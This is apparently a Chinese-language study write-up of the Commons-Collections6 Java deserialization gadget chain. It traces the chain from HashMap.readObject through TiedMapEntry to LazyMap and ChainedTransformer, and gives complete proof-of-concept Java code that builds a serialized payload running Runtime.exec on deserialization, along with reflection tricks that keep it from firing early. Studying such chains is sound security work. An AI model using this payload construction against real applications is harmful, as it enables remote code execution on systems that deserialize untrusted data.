Commons-Collections6是在Commons-Collections1的LazyMap链
基础上进行了改进,解决了Commons-Collections1在Java 8u71以后因为sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑发生变化,而无法利用的问题。
Commons-Collections6调用链示意图
首先我们来到LazyMap.get()
这步,在这步之后的所以操作均与之前Commons-Collections1的LazyMap链
相同。
到该步的代码为:
package Cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
o.writeObject(obj);
}
public static Object unserialize(String s) throws IOException, ClassNotFoundException {
ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
return o.readObject();
}
}
接下来我们要去寻找何处调用了,get()
。在TiedMapEntry
的getValue()
方法中调用了get()
方法。
TiedMapEntry#getValue
public Object getValue() {
return map.get(key);
}
且map可控。为构造时我们传入的map(此处为LazyMap
)。
TiedMapEntry#TiedMapEntry
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
然后查找何处调用了getValue()
,在TiedMapEntry
的hashCode()
中调用了getValue()
TiedMapEntry#hashCode
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
继续向上查找什么地方调用了hashCode()
,然后我们想起在URLDNS链
中使用的入口类HashMap
该类存在调用hashCode()方法的地方。在HashMap#hash()
方法中调用了hashCode()
。
HashMap#hash()
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
只需要控制此处的key
为tiedMapEntry
(我们前面构造的TiedMapEntry
类)即可调用到TiedMapEntry#hashCode
。
在HashMap#readObject()
中调用了hash()
。
而在HashMap#put
中也调用了hash()
,这将引出一个问题。
HashMap#readObject
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
HashMap#put
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
但是在此处存在有问题。
package Cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> map2 = new HashMap<>();
//HashMap只能通过put赋值
map2.put(tiedMapEntry,"1");
serialize(map2);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
o.writeObject(obj);
}
public static Object unserialize(String s) throws IOException, ClassNotFoundException {
ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
return o.readObject();
}
}
在序列化时便弹出了计算器,原因是因为在put()
的时候便调用了hashCode()
从而调用了后面的利用链弹出了计算器。
解决方法
我们可以先改掉Transformer数组的值,使调用链中断,再在序列化之前利用反射将之改为正常的值。
package Cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Cc6 {
public static void main(String[] args) throws Exception {
//构造一个序列化时无用的facktransformers对象
Transformer[] facktransformers = {new ConstantTransformer(1),};
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
System.out.println(transformers);
ChainedTransformer chainedTransformer = new ChainedTransformer(facktransformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key1");
Map map2 = new HashMap<>();
//HashMap只能通过put赋值
map2.put(tiedMapEntry,"1");
//map.clear();
//利用反射使 ChainedTransformer 中的 iTransformers字段变为 transformers对象;
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);
System.out.println(field.get(chainedTransformer));
serialize(map2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
o.writeObject(obj);
}
public static Object unserialize(String s) throws IOException, ClassNotFoundException {
ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
return o.readObject();
}
}
更改过后序列化时并未弹出计算器,但是反序列化时也未弹出计算器。原因在于序列化时put()函数会对我们LazyMap中传入的map赋值,使map的key为key,在序列化时
在put()处下个断点调试一下:
HashMap#put
首先进入put()
函数此处key为传入的tiedMapEntry
,然后进入hash()
。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
HashMap#hash
key为tiedMapEntry
,然后进入TiedMapEntry#hash
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
TiedMapEntry#hashCode
然后进入TiedMapEntry#getValue
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
TiedMapEntry#getValue
此处map为构造tiedMapEntry对象
时传入的lazyMap
(TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key1");
),然后跟进到LazyMap#getValue
。此处key为构造时传入的"key1"
public Object getValue() {
return map.get(key);
}
LazyMap#getValue
此处map为构造lazyMap对象
时传入的map
(Map lazyMap = LazyMap.decorate(map,chainedTransformer);
),在if中对先判断new TiedMapEntry(lazyMap, "key1")
时传入的“key1”
在不在此处map
中,如果不在才进入if。而我们put()
时“key1”
确实不在map
中但是当put
后进入此处if时却对当前map
进行了put
将“key1”添加到了map
中,然后反序列化进行到此处时“key1”
已经在map
中了。使用我们没有弹出计算器。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
解决方法便是在map2.put(tiedMapEntry,"1");
后将LazyMap.decorate(map,chainedTransformer);
中的map
清空或者将它的“key1”
键移除。
map.clear()
或map.remove("key1")
。
最后再来看看ysoserial的实现,发现与我们的略有不同。
ysoserial中,是利用 java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key)最后到 TiedMapEntry#hashCode()